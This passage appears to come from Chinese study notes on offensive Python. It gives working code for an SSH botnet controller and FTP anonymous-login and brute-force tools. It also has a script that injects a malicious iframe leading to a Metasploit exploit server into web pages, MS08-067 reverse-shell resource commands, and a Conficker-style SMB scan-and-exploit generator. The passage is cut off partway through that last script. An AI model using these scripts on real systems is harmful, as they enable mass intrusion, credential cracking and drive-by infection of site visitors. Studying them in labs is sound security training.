  4. from pexpect import pxssh  
  5.   
  6. #定义一个客户端的类  
  7. class Client(object):  
  8.     """docstring for Client"""  
  9.     def __init__(self, host, user, password):  
  10.         self.host = host  
  11.         self.user = user  
  12.         self.password = password  
  13.         self.session = self.connect()  
  14.   
  15.     def connect(self):  
  16.         try:  
  17.             s = pxssh.pxssh()  
  18.             s.login(self.host,self.user,self.password)  
  19.             return s  
  20.         except Exception, e:  
  21.             print e  
  22.             print ‘[-] Error Connecting‘  
  23.           
  24.     def send_command(self, cmd):  
  25.         self.session.sendline(cmd)  
  26.         self.session.prompt()  
  27.         return self.session.before  
  28.   
  29. def botnetCommand(command):  
  30.     for client in botNet:  
  31.         output = client.send_command(command)  
  32.         print ‘[*] Output from ‘ + client.host  
  33.         print ‘[+] ‘ + output + ‘\n‘  
  34.   
  35. def addClient(host, user, password):  
  36.     client = Client(host,user,password)  
  37.     botNet.append(client)  
  38.   
  39. botNet = []  
  40. addClient(‘10.10.10.128‘,‘msfadmin‘,‘msfadmin‘)  
  41. addClient(‘10.10.10.153‘,‘root‘,‘toor‘)  
  42. botnetCommand(‘uname -a‘)  
  43. botnetCommand(‘whoami‘)  

这段代码主要定义一个客户端的类实现ssh连接和发送命令,然后再定义一个botNet数组用于保存僵尸网络中的所有主机,并定义两个方法一个是添加僵尸主机的addClient()、 另一个为在僵尸主机中遍历执行命令的botnetCommand()。

运行结果:

技术分享图片


【个人修改的代码】

接下来是本人修改的代码,先是将僵尸主机的信息都保存在一个文件中、以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,和之前修改的ssh命令行交互的形式差不多,只是每次输入一条命令所有的僵尸主机都会去执行从而返回命令结果:

botnet.txt文件:

技术分享图片

botNet2.py:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from pexpect import pxssh  
  5. import optparse  
  6.   
  7. botNet=[]  
  8. #定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了  
  9. hosts = []  
  10.   
  11. #定义一个客户端的类  
  12. class Client(object):  
  13.     """docstring for Client"""  
  14.     def __init__(self, host, user, password):  
  15.         self.host = host  
  16.         self.user = user  
  17.         self.password = password  
  18.         self.session = self.connect()  
  19.   
  20.     def connect(self):  
  21.         try:  
  22.             s = pxssh.pxssh()  
  23.             s.login(self.host,self.user,self.password)  
  24.             return s  
  25.         except Exception, e:  
  26.             print e  
  27.             print ‘[-] Error Connecting‘  
  28.   
  29.     def send_command(self, cmd):  
  30.         self.session.sendline(cmd)  
  31.         self.session.prompt()  
  32.         return self.session.before  
  33.   
  34. def botnetCommand(cmd, k):  
  35.     for client in botNet:     
  36.         output=client.send_command(cmd)  
  37.         #若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复  
  38.         if k:  
  39.             print ‘[*] Output from ‘+client.host  
  40.             print ‘[+] ‘+output+‘\n‘  
  41.   
  42. def addClient(host,user,password):  
  43.     if len(hosts) == 0:  
  44.         hosts.append(host)  
  45.         client=Client(host,user,password)  
  46.         botNet.append(client)  
  47.     else:  
  48.         t = True  
  49.         #遍历查看host是否存在hosts列表中,若不存在则进行添加操作  
  50.         for h in hosts:  
  51.             if h == host:  
  52.                 t = False  
  53.         if t:  
  54.             hosts.append(host)  
  55.             client=Client(host,user,password)  
  56.             botNet.append(client)  
  57.   
  58. def main():  
  59.     parser=optparse.OptionParser(‘Usage : ./botNet.py -f <botNet file>‘)  
  60.     parser.add_option(‘-f‘,dest=‘file‘,type=‘string‘,help=‘specify botNet file‘)  
  61.     (options,args)=parser.parse_args()  
  62.     file = options.file  
  63.     if file==None:  
  64.         print parser.usage  
  65.         exit(0)  
  66.       
  67.     #计算文件行数,不能和下面的f用同一个open()否则会出错  
  68.     count = len(open(file,‘r‘).readlines())  
  69.   
  70.     while True:  
  71.         cmd=raw_input("<SSH> ")  
  72.         k = 0  
  73.         f = open(file,‘r‘)  
  74.         for line in f.readlines():  
  75.             line = line.strip(‘\n‘)  
  76.             host = line.split(‘:‘)[0]  
  77.             user = line.split(‘:‘)[1]  
  78.             password = line.split(‘:‘)[2]  
  79.   
  80.             k += 1  
  81.   
  82.             #这里需要判断是否到最后一台主机调用函数,因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况  
  83.             if k < count:  
  84.                 addClient(host,user,password)  
  85.                 #不是最后一台主机请求,则先不输出命令结果  
  86.                 botnetCommand(cmd,False)  
  87.             else:  
  88.                 addClient(host,user,password)  
  89.                 #最后一台主机请求,则可以输出命令结果  
  90.                 botnetCommand(cmd,True)  
  91.       
  92. if __name__ ==‘__main__‘:  
  93.     main()  

这段修改的代码主要的处理问题是输出的问题,在代码注释中也说得差不多了,就这样吧。

运行结果:

技术分享图片

用户可以将收集到的ssh僵尸主机都保存在botnet.txt文件中,这样脚本运行起来执行就会十分地方便、实现批量式的操作。


3、利用FTP与Web批量抓“肉机”

用Python构建匿名FTP扫描器

一些FTP服务器提供匿名登录的功能,因为这有助于网站访问软件更新,这种情况下,用户输入用户名“anonymous”并提交一个电子邮箱替代密码即可登录。

下面的代码主要是使用ftplib模块的FTP()、login()和quit()方法实现:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def anonLogin(hostname):  
  6.     try:  
  7.         ftp = ftplib.FTP(hostname)  
  8.         ftp.login(‘anonymous‘,[email protected]‘)  
  9.         print ‘\n[*] ‘ + str(hostname) + ‘ FTP Anonymous Logon Succeeded.‘  
  10.         ftp.quit()  
  11.         return True  
  12.     except Exception, e:  
  13.         print ‘\n[-] ‘ + str(h1) + ‘ FTP Anonymous Logon Failed.‘  
  14.         return False  
  15.   
  16. hostname = ‘10.10.10.128‘  
  17. anonLogin(hostname)  

运行结果:

技术分享图片


【个人修改的代码】

稍微修改了一下,实现命令行输入交互:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def anonLogin(hostname):  
  6.     try:  
  7.         ftp=ftplib.FTP(hostname)  
  8.         ftp.login(‘anonymous‘,‘what‘)  
  9.         print ‘\n[*] ‘ + str(hostname) + ‘ FTP Anonymous Logon Succeeded.‘  
  10.         ftp.quit()  
  11.         return True  
  12.     except Exception,e:  
  13.         print ‘\n[-] ‘ + str(hostname) + ‘ FTP Anonymous Logon Failed.‘  
  14.   
  15. def main():  
  16.     while True:  
  17.         hostname = raw_input("Please enter the hostname: ")  
  18.         anonLogin(hostname)  
  19.         print  
  20.   
  21. if __name__ == ‘__main__‘:  
  22.     main()  

运行结果:

技术分享图片


使用Ftplib暴力破解FTP用户口令

同样是通过ftplib模块,结合读取含有密码的文件来实现FTP用户口令的破解:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def bruteLogin(hostname,passwdFile):  
  6.     pF = open(passwdFile,‘r‘)  
  7.     for line in pF.readlines():  
  8.         username = line.split(‘:‘)[0]  
  9.         password = line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘)  
  10.         print ‘[+] Trying: ‘ + username + ‘/‘ + password  
  11.         try:  
  12.             ftp = ftplib.FTP(hostname)  
  13.             ftp.login(username,password)  
  14.             print ‘\n[*] ‘ + str(hostname) + ‘ FTP Logon Succeeded: ‘ + username + ‘/‘ + password  
  15.             ftp.quit()  
  16.             return (username,password)  
  17.         except Exception, e:  
  18.             pass  
  19.     print ‘\n[-] Could not brubrute force FTP credentials.‘  
  20.     return (None,None)  
  21.   
  22. host = ‘10.10.10.128‘  
  23. passwdFile = ‘ftpBL.txt‘  
  24. bruteLogin(host,passwdFile)  

运行结果:

技术分享图片

其中ftbBL.txt文件:

技术分享图片


【个人修改的代码】

小改一下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. import ftplib  
  3.   
  4. def bruteLogin(hostname,passwdFile):  
  5.     pF=open(passwdFile,‘r‘)  
  6.     for line in pF.readlines():  
  7.         username=line.split(‘:‘)[0]  
  8.         password=line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘)  
  9.         print ‘[+] Trying: ‘+username+"/"+password  
  10.         try:      
  11.             ftp=ftplib.FTP(hostname)  
  12.             ftp.login(username,password)  
  13.             print ‘\n[*] ‘+str(hostname)+‘ FTP Logon Succeeded: ‘+username+"/"+password  
  14.             return (username,password)  
  15.         except Exception,e:  
  16.             pass  
  17.     print ‘\n[-] Could not brute force FTP credentials.‘  
  18.     return (None,None)  
  19.   
  20. def main():  
  21.     while True:  
  22.         h=raw_input("[*] Please enter the hostname: ")  
  23.         f=raw_input("[*] Please enter the filename: ")  
  24.         bruteLogin(h,f)  
  25.         print  
  26.   
  27. if __name__ == ‘__main__‘:  
  28.     main()  

运行结果:

技术分享图片


在FTP服务器上搜索网页

有了FTP服务器的登录口令之后,可以进行测试该服务器是否提供Web服务,其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名,并把找到的所有默认的网页都添加到retList数组中:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def returnDefault(ftp):  
  6.     try:  
  7.         #nlst()方法获取目录下的文件  
  8.         dirList = ftp.nlst()  
  9.     except:  
  10.         dirList = []  
  11.         print ‘[-] Could not list directory contents.‘  
  12.         print ‘[-] Skipping To Next Target.‘  
  13.         return  
  14.   
  15.     retList = []  
  16.     for filename in dirList:  
  17.         #lower()方法将文件名都转换为小写的形式  
  18.         fn = filename.lower()  
  19.         if ‘.php‘ in fn or ‘.asp‘ in fn or ‘.htm‘ in fn:  
  20.             print ‘[+] Found default page: ‘+filename  
  21.             retList.append(filename)  
  22.     return retList  
  23.   
  24. host = ‘10.10.10.130‘  
  25. username = ‘ftpuser‘  
  26. password = ‘ftppassword‘  
  27. ftp = ftplib.FTP(host)  
  28. ftp.login(username,password)  
  29. returnDefault(ftp)  

运行结果:

技术分享图片


【个人修改的代码】

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def returnDefault(ftp):  
  6.     try:  
  7.         #nlst()方法获取目录下的文件  
  8.         dirList = ftp.nlst()  
  9.     except:  
  10.         dirList = []  
  11.         print ‘[-] Could not list directory contents.‘  
  12.         print ‘[-] Skipping To Next Target.‘  
  13.         return  
  14.   
  15.     retList=[]  
  16.     for fileName in dirList:  
  17.         #lower()方法将文件名都转换为小写的形式  
  18.         fn = fileName.lower()  
  19.         if ‘.php‘ in fn or ‘.htm‘ in fn or ‘.asp‘ in fn:  
  20.             print ‘[+] Found default page: ‘ + fileName  
  21.             retList.append(fileName)  
  22.   
  23.     if len(retList) == 0:  
  24.         print ‘[-] Could not list directory contents.‘  
  25.         print ‘[-] Skipping To Next Target.‘  
  26.           
  27.     return retList  
  28.   
  29. def main():  
  30.   
  31.     while True:  
  32.         host = raw_input(‘[*]Host >>> ‘)  
  33.         username = raw_input(‘[*]Username >>> ‘)  
  34.         password = raw_input(‘[*]Password >>> ‘)  
  35.   
  36.         try:  
  37.             ftp = ftplib.FTP(host)  
  38.             ftp.login(username,password)  
  39.             returnDefault(ftp)  
  40.         except:  
  41.             print ‘[-] Logon failed.‘  
  42.   
  43.         print  
  44.   
  45. if __name__ == ‘__main__‘:  
  46.     main()  

运行结果:

技术分享图片


在网页中加入恶意注入代码

这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:

search ms10_002_aurora

use exploit/windows/browser/ms10_002_aurora

show payloads

set payload windows/shell/reverse_tcp

show options

set SRVHOST 10.10.10.160

set URIPATH /exploit

set LHOST 10.10.10.160

set LPORT 443

exploit

运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧:

技术分享图片

过程清晰之后,就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可,整个代码如下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def injectPage(ftp,page,redirect):  
  6.     f = open(page + ‘.tmp‘,‘w‘)  
  7.     #下载FTP文件  
  8.     ftp.retrlines(‘RETR ‘ + page,f.write)  
  9.     print ‘[+] Downloaded Page: ‘ + page  
  10.     f.write(redirect)  
  11.     f.close()  
  12.     print ‘[+] Injected Malicious IFrame on: ‘ + page  
  13.     #上传目标文件  
  14.     ftp.storlines(‘STOR ‘ + page,open(page + ‘.tmp‘))  
  15.     print ‘[+] Uploaded Injected Page: ‘ + page  
  16.   
  17. host = ‘10.10.10.130‘  
  18. username = ‘ftpuser‘  
  19. password = ‘ftppassword‘  
  20. ftp = ftplib.FTP(host)  
  21. ftp.login(username,password)  
  22. redirect = ‘<iframe src="http://10.10.10.160:8080/exploit"></iframe>‘  
  23. injectPage(ftp,‘index.html‘,redirect)  

运行结果:

技术分享图片

显示下载页面、注入恶意代码、上传都成功,到服务器查看相应的文件内容,发现注入成功了:

技术分享图片

接下来的利用和本小节开头的一样,直接打开msf进行相应的监听即可。


【个人修改的代码】

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def injectPage(ftp,page,redirect):  
  6.     f = open(page + ‘.tmp‘,‘w‘)  
  7.     #下载FTP文件  
  8.     ftp.retrlines(‘RETR ‘ + page,f.write)  
  9.     print ‘[+] Downloaded Page: ‘ + page  
  10.     f.write(redirect)  
  11.     f.close()  
  12.     print ‘[+] Injected Malicious IFrame on: ‘ + page  
  13.     #上传目标文件  
  14.     ftp.storlines(‘STOR ‘ + page,open(page + ‘.tmp‘))  
  15.     print ‘[+] Uploaded Injected Page: ‘ + page  
  16.     print  
  17. def main():  
  18.     while True:  
  19.         host = raw_input(‘[*]Host >>> ‘)  
  20.         username = raw_input(‘[*]Username >>> ‘)  
  21.         password = raw_input(‘[*]Password >>> ‘)  
  22.         redirect = raw_input(‘[*]Redirect >>> ‘)  
  23.         print  
  24.         try:  
  25.             ftp = ftplib.FTP(host)  
  26.             ftp.login(username,password)  
  27.             injectPage(ftp,‘index.html‘,redirect)  
  28.         except:  
  29.             print ‘[-] Logon failed.‘  
  30.   
  31. if __name__ == ‘__main__‘:  
  32.     main()  

运行结果:

技术分享图片


整合全部的攻击

这里将上面几个小节的代码整合到一块,主要是添加了attack()函数,该函数首先用用户名和密码登陆FTP服务器,然后调用其他函数搜索默认网页并下载同时实现注入和上传,其实说白了这个函数就是将前面几个小节的函数整合起来调用。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4. import optparse  
  5. import time  
  6.   
  7. def attack(username,password,tgtHost,redirect):  
  8.     ftp = ftplib.FTP(tgtHost)  
  9.     ftp.login(username,password)  
  10.     defPages = returnDefault(ftp)  
  11.     for defPage in defPages:  
  12.         injectPage(ftp,defPage,redirect)  
  13.   
  14. def anonLogin(hostname):  
  15.     try:  
  16.         ftp = ftplib.FTP(hostname)  
  17.         ftp.login(‘anonymous‘,[email protected]‘)  
  18.         print ‘\n[*] ‘ + str(hostname) + ‘ FTP Anonymous Logon Succeeded.‘  
  19.         ftp.quit()  
  20.         return True  
  21.     except Exception, e:  
  22.         print ‘\n[-] ‘ + str(hostname) + ‘ FTP Anonymous Logon Failed.‘  
  23.         return False  
  24.   
  25. def bruteLogin(hostname,passwdFile):  
  26.     pF = open(passwdFile,‘r‘)  
  27.     for line in pF.readlines():  
  28.         username = line.split(‘:‘)[0]  
  29.         password = line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘)  
  30.         print ‘[+] Trying: ‘ + username + ‘/‘ + password  
  31.         try:  
  32.             ftp = ftplib.FTP(hostname)  
  33.             ftp.login(username,password)  
  34.             print ‘\n[*] ‘ + str(hostname) + ‘ FTP Logon Succeeded: ‘ + username + ‘/‘ + password  
  35.             ftp.quit()  
  36.             return (username,password)  
  37.         except Exception, e:  
  38.             pass  
  39.     print ‘\n[-] Could not brubrute force FTP credentials.‘  
  40.     return (None,None)  
  41.   
  42. def returnDefault(ftp):  
  43.     try:  
  44.         #nlst()方法获取目录下的文件  
  45.         dirList = ftp.nlst()  
  46.     except:  
  47.         dirList = []  
  48.         print ‘[-] Could not list directory contents.‘  
  49.         print ‘[-] Skipping To Next Target.‘  
  50.         return  
  51.   
  52.     retList = []  
  53.     for filename in dirList:  
  54.         #lower()方法将文件名都转换为小写的形式  
  55.         fn = filename.lower()  
  56.         if ‘.php‘ in fn or ‘.asp‘ in fn or ‘.htm‘ in fn:  
  57.             print ‘[+] Found default page: ‘+filename  
  58.             retList.append(filename)  
  59.     return retList  
  60.   
  61. def injectPage(ftp,page,redirect):  
  62.     f = open(page + ‘.tmp‘,‘w‘)  
  63.     #下载FTP文件  
  64.     ftp.retrlines(‘RETR ‘ + page,f.write)  
  65.     print ‘[+] Downloaded Page: ‘ + page  
  66.     f.write(redirect)  
  67.     f.close()  
  68.     print ‘[+] Injected Malicious IFrame on: ‘ + page  
  69.     #上传目标文件  
  70.     ftp.storlines(‘STOR ‘ + page,open(page + ‘.tmp‘))  
  71.     print ‘[+] Uploaded Injected Page: ‘ + page  
  72.   
  73. def main():  
  74.     parser = optparse.OptionParser(‘[*] Usage : ./massCompromise.py  -H <target host[s]> -r <redirect page> -f <userpass file>]‘)  
  75.     parser.add_option(‘-H‘,dest=‘hosts‘,type=‘string‘,help=‘specify target host‘)  
  76.     parser.add_option(‘-r‘,dest=‘redirect‘,type=‘string‘,help=‘specify redirect page‘)  
  77.     parser.add_option(‘-f‘,dest=‘file‘,type=‘string‘,help=‘specify userpass file‘)  
  78.     (options,args) = parser.parse_args()  
  79.   
  80.     #返回hosts列表,若不加split()则只返回一个字符  
  81.     hosts = str(options.hosts).split(‘,‘)  
  82.     redirect = options.redirect  
  83.     file = options.file  
  84.   
  85.     #先不用判断用户口令文件名是否输入,因为会先进行匿名登录尝试  
  86.     if hosts == None or redirect == None:  
  87.         print parser.usage  
  88.         exit(0)  
  89.   
  90.     for host in hosts:  
  91.         username = None  
  92.         password = None  
  93.         if anonLogin(host) == True:  
  94.             username = ‘anonymous‘  
  95.             password = [email protected]‘  
  96.             print ‘[+] Using Anonymous Creds to attack‘  
  97.             attack(username,password,host,redirect)  
  98.         elif file != None:  
  99.             (username,password) = bruteLogin(host,file)  
  100.             if password != None:  
  101.                 print ‘[+] Using Cred: ‘ + username + ‘/‘ + password + ‘ to attack‘  
  102.                 attack(username,password,host,redirect)  
  103.   
  104. if __name__ == ‘__main__‘:  
  105.     main()  

运行结果:

技术分享图片

由于可以匿名登录所以可以直接进行注入攻击。


【个人修改的代码】

但是发现就是匿名登录进去的文件都只是属于匿名用户自己的而没有ftpuser即正常的FTP用户的文件,所以为了实现同时进行注入就稍微修改了一下代码:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4. import optparse  
  5. import time  
  6.   
  7. def attack(username,password,tgtHost,redirect):  
  8.     ftp = ftplib.FTP(tgtHost)  
  9.     ftp.login(username,password)  
  10.     defPages = returnDefault(ftp)  
  11.     for defPage in defPages:  
  12.         injectPage(ftp,defPage,redirect)  
  13.   
  14. def anonLogin(hostname):  
  15.     try:  
  16.         ftp = ftplib.FTP(hostname)  
  17.         ftp.login(‘anonymous‘,[email protected]‘)  
  18.         print ‘\n[*] ‘ + str(hostname) + ‘ FTP Anonymous Logon Succeeded.‘  
  19.         ftp.quit()  
  20.         return True  
  21.     except Exception, e:  
  22.         print ‘\n[-] ‘ + str(hostname) + ‘ FTP Anonymous Logon Failed.‘  
  23.         return False  
  24.   
  25. def bruteLogin(hostname,passwdFile):  
  26.     pF = open(passwdFile,‘r‘)  
  27.     for line in pF.readlines():  
  28.         username = line.split(‘:‘)[0]  
  29.         password = line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘)  
  30.         print ‘[+] Trying: ‘ + username + ‘/‘ + password  
  31.         try:  
  32.             ftp = ftplib.FTP(hostname)  
  33.             ftp.login(username,password)  
  34.             print ‘\n[*] ‘ + str(hostname) + ‘ FTP Logon Succeeded: ‘ + username + ‘/‘ + password  
  35.             ftp.quit()  
  36.             return (username,password)  
  37.         except Exception, e:  
  38.             pass  
  39.     print ‘\n[-] Could not brubrute force FTP credentials.‘  
  40.     return (None,None)  
  41.   
  42. def returnDefault(ftp):  
  43.     try:  
  44.         #nlst()方法获取目录下的文件  
  45.         dirList = ftp.nlst()  
  46.     except:  
  47.         dirList = []  
  48.         print ‘[-] Could not list directory contents.‘  
  49.         print ‘[-] Skipping To Next Target.‘  
  50.         return  
  51.   
  52.     retList = []  
  53.     for filename in dirList:  
  54.         #lower()方法将文件名都转换为小写的形式  
  55.         fn = filename.lower()  
  56.         if ‘.php‘ in fn or ‘.asp‘ in fn or ‘.htm‘ in fn:  
  57.             print ‘[+] Found default page: ‘+filename  
  58.             retList.append(filename)  
  59.     return retList  
  60.   
  61. def injectPage(ftp,page,redirect):  
  62.     f = open(page + ‘.tmp‘,‘w‘)  
  63.     #下载FTP文件  
  64.     ftp.retrlines(‘RETR ‘ + page,f.write)  
  65.     print ‘[+] Downloaded Page: ‘ + page  
  66.     f.write(redirect)  
  67.     f.close()  
  68.     print ‘[+] Injected Malicious IFrame on: ‘ + page  
  69.     #上传目标文件  
  70.     ftp.storlines(‘STOR ‘ + page,open(page + ‘.tmp‘))  
  71.     print ‘[+] Uploaded Injected Page: ‘ + page  
  72.   
  73. def main():  
  74.     parser = optparse.OptionParser(‘[*] Usage : ./massCompromise.py  -H <target host[s]> -r <redirect page> -f <userpass file>]‘)  
  75.     parser.add_option(‘-H‘,dest=‘hosts‘,type=‘string‘,help=‘specify target host‘)  
  76.     parser.add_option(‘-r‘,dest=‘redirect‘,type=‘string‘,help=‘specify redirect page‘)  
  77.     parser.add_option(‘-f‘,dest=‘file‘,type=‘string‘,help=‘specify userpass file‘)  
  78.     (options,args) = parser.parse_args()  
  79.   
  80.     #返回hosts列表,若不加split()则只返回一个字符  
  81.     hosts = str(options.hosts).split(‘,‘)  
  82.     redirect = options.redirect  
  83.     file = options.file  
  84.   
  85.     #先不用判断用户口令文件名是否输入,因为先进行匿名登录尝试  
  86.     if hosts == None or redirect == None:  
  87.         print parser.usage  
  88.         exit(0)  
  89.   
  90.     for host in hosts:  
  91.         username = None  
  92.         password = None  
  93.         if anonLogin(host) == True:  
  94.             username = ‘anonymous‘  
  95.             password = [email protected]‘  
  96.             print ‘[+] Using Anonymous Creds to attack‘  
  97.             attack(username,password,host,redirect)  
  98.         if file != None:  
  99.             (username,password) = bruteLogin(host,file)  
  100.             if password != None:  
  101.                 print ‘[+] Using Cred: ‘ + username + ‘/‘ + password + ‘ to attack‘  
  102.                 attack(username,password,host,redirect)  
  103.   
  104. if __name__ == ‘__main__‘:  
  105.     main()  

运行结果:

技术分享图片

可以发现两个用户中发现的文件是不一样的。


4、Conficker,为什么努力做就够了

在密码攻击的口令列表中值得拥有的11个口令:

aaa

academia

anything

coffee

computer

cookie

oracle

password

secret

super

unknown

使用Metasploit攻击Windows SMB服务

这里主要利用了MS08-067的这个漏洞来进行演示

将下面的命令保存为conficker.rc文件:

use exploit/windows/smb/ms08_067_netapi

set RHOST 10.10.10.123

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.10.10.160

set LPORT 7777

exploit -j -z

技术分享图片

这里exploit命令的-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互。

接着输入命令:msfconsole -r conficker.rc

技术分享图片

获得一个会话session1之后,然后打开这个session:

技术分享图片

这样就能通过打开文件读取其中命令的方式来执行msf相应的操作,从而获取了XP的shell。


编写Python脚本与Metasploit交互

导入nmap库,在findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现上一小节中conficker.rc脚本中一样的内容:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3.   
  4. import nmap  
  5.   
  6. def findTgts(subNet):  
  7.     nmScan = nmap.PortScanner()  
  8.     nmScan.scan(subNet,‘445‘)  
  9.     tgtHosts = []  
  10.     for host in nmScan.all_hosts():  
  11.         #若目标主机存在TCP的445端口  
  12.         if nmScan[host].has_tcp(445):  
  13.             state = nmScan[host][‘tcp‘][445][‘state‘]  
  14.             #并且445端口是开启的  
  15.             if state == ‘open‘:  
  16.                 print ‘[+] Found Target Host: ‘ + host  
  17.                 tgtHosts.append(host)  
  18.     return tgtHosts  
  19.   
  20. def setupHandler(configFile,lhost,lport):  
  21.     configFile.write(‘use exploit/multi/handler\n‘)  
  22.     configFile.write(‘set PAYLOAD windows/meterpreter/reverse_tcp\n‘)  
  23.     configFile.write(‘set LPORT ‘ + str(lport) + ‘\n‘)  
  24.     configFile.write(‘set LHOST ‘ + lhost + ‘\n‘)  
  25.     configFile.write(‘exploit -j -z\n‘)  
  26.   
  27.     #设置全局变量DisablePayloadHandler,让已经新建一个监听器之后,后面的所有的主机不会重复新建监听器  
  28.     #其中setg为设置全局参数  
  29.     configFile.write(‘setg DisablePayloadHandler 1\n‘)  
  30.   
  31. def confickerExploit(configFile,tgtHost,lhost,lport):  
  32.     configFile.write(‘use exploit/windows/smb/ms08_067_netapi\n‘)  
  33.     configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n‘)  
  34.     configFile.write(‘set PAYLOAD windows/meterpreter/reverse_tcp\n‘)  
  35.     configFile.write(‘set LPORT ‘ + str(lport) + ‘\n‘)  
  36.     configFile.write(‘set LHOST ‘ + lhost + ‘\n‘)  
  37.   
  38.     #-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互  
  39.     configFile.write(‘exploit -j -z\n‘)  

注意点就是,在confickerExploit()函数中,脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用对目标主机上的漏洞。因为这个脚本是实现批量式操作的,即会渗透多个目标主机,因而不可能同时与各个主机进行交互而必须使用-j和-z参数。


暴力破解口令,远程执行一个进程

这里暴力破解SMB用户名/密码,以此来获取权限在目标主机上远程执行一个进程(psexec),将用户名设为Administrator,然后打开密码列表文件,对文件中的每个密码都会生成一个远程执行进行的Metasploit脚本,若密码正确则会返回一个命令行shell:

[python] view plain copy
  1. def smbBrute(configFile,tgtHost,passwdFile,lhost,lport):  
  2.     username = ‘Administrator‘  
  3.     pF = open(passwdFile,‘r‘)  
  4.     for password in pF.readlines():  
  5.         password = password.strip(‘\n‘).strip(‘\r‘)  
  6.         configFile.write(‘use exploit/windows/smb/psexec\n‘)  
  7.         configFile.write(‘set SMBUser ‘ + str(username) + ‘\n‘)  
  8.         configFile.write(‘set SMBPass ‘ + str(password) + ‘\n‘)  
  9.         configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n‘)  
  10.         configFile.write(‘set PAYLOAD windows/meterpreter/reverse_tcp\n‘)  
  11.         configFile.write(‘set LPORT ‘ + str(lport) + ‘\n‘)  
  12.         configFile.write(‘set LHOST ‘ + lhost + ‘\n‘)  
  13.         configFile.write(‘exploit -j -z\n‘)  


把所有的代码放在一起,构成我们自己的Conficker

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3.   
  4. import nmap  
  5. import os  
  6. import optparse  
  7. import sys  
  8.   
  9. def findTgts(subNet):  
  10.     nmScan = nmap.PortScanner()  
  11.     nmScan.scan(subNet,‘445‘)  
  12.     tgtHosts = []  
  13.     for host in nmScan.all_hosts():  
  14.         #若目标主机存在TCP的445端口  
  15.         if nmScan[host].has_tcp(445):  
  16.             state = nmScan[host][‘tcp‘][445][‘state‘]  
  17.             #并且445端口是开启的  
  18.             if state == ‘open‘:  
  19.                 print ‘[+] Found Target Host: ‘ + host  
  20.                 tgtHosts.append(host)  
  21.     return tgtHosts  
  22.   
  23. def setupHandler(configFile,lhost,lport):  
  24.     configFile.write(‘use exploit/multi/handler\n‘)  
  25.     configFile.write(‘set PAYLOAD windows/meterpreter/reverse_tcp\n‘)  
  26.     configFile.write(‘set LPORT ‘ + str(lport) + ‘\n‘)  
  27.     configFile.write(‘set LHOST ‘ + lhost + ‘\n‘)  
  28.     configFile.write(‘exploit -j -z\n‘)  
  29.   
  30.     #设置全局变量DisablePayloadHandler,让已经新建一个监听器之后,后面的所有的主机不会重复新建监听器  
  31.     #其中setg为设置全局参数  
  32.     configFile.write(‘setg DisablePayloadHandler 1\n‘)  
  33.   
  34. def confickerExploit(configFile,tgtHost,lhost,lport):  
  35.     configFile.write(‘use exploit/windows/smb/ms08_067_netapi\n‘)  
  36.     configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n‘)  
  37.     configFile.write(‘set PAYLOAD windows/meterpreter/reverse_tcp\n‘)  
  38.     configFile.write(‘set LPORT ‘ + str(lport) + ‘\n‘)  
  39.     configFile.write(‘set LHOST ‘ + lhost + ‘\n‘)  
  40.   
  41.     #-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互  
  42.     configFile.write(‘exploit -j -z\n‘)  
  43.   
  44. def smbBrute(configFile,tgtHost,passwdFile,lhost,lport):  
  45.     username = ‘Administrator‘  
  46.     pF = open(passwdFile,‘r‘)  
  47.     for password in pF.readlines():  
  48.         password = password.strip(‘\n‘).strip(‘\r‘)  
  49.         configFile.write(‘use exploit/windows/smb/psexec\n‘)  
  50.         configFile.write(‘set SMBUser ‘ + str(username) + ‘\n‘)  
  51.         configFile.write(‘set SMBPass ‘ + str(password) + ‘\n‘)  
  52.         configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n‘)  
  53.         configFile.write(‘set PAYLOAD windows/meterpreter/reverse_tcp\n‘)  
